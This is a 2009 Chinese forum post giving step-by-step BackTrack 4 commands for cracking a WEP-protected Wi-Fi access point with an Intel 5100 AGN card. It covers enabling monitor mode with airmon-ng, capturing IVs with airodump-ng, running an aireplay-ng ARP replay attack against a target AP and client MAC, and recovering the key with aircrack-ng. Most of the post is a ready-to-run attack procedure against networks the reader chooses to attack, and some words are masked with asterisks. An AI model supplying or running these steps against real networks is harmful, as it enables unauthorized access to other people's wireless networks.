|
|
Intel 5100 agn 用BT4进行有客户端-3攻击的具体步骤
客户端, 5100agn, Intel
本帖最后由 tinkle 于 2009-5-27 23:50 编辑
对INTEL 5100AGN众说纷纷，其实还是动手做一下最实际。
1. 看看网卡，应该有一个wlan0的网卡，这就是INTEL 5100
ifconfig-ng -a
2.开始**模式，
airmon-ng start wlan0 6
增加**端口mon0，在这里要留意最后的6是要**信道6，如果在运行第二次会出现mon1以此类推，可以**不同的信道，也就是说万一弄错了就再开一个
3. 开始抓包
airodump-ng --ivs -w 1 -c 6 mon0
-c 后面的6是信道，要跟mon0**的信道一致，认真看看你要攻击的AP有没有可用的客户端，有的话就可以进行下一步了，没有的话就不是有客户端的攻击了 ^_^
4. -3 攻击
aireplay-ng -3 -b 00:19:E0:AF:00:00 -h 00:19:D2:19:11:11 mon0
-b 后面是AP的MAC, -h 后面的是该AP的客户端的MAC, mon0要跟**端口一致
5. 剩下就是等DATA 足够多了。其实一直开着下面的命令等他自己算出来也行，到数量会自动再算一次的，算出来为止。
aircrack-ng -n 128 *.ivs
这里要选一下我们要计算的ESSID。
下面是我截的屏幕，作为可以-3的证据，留意 #/s可以超过300。在没开始-3之前是0或1，不超过10
|
|
发表于 2009-9-24 17:59:16
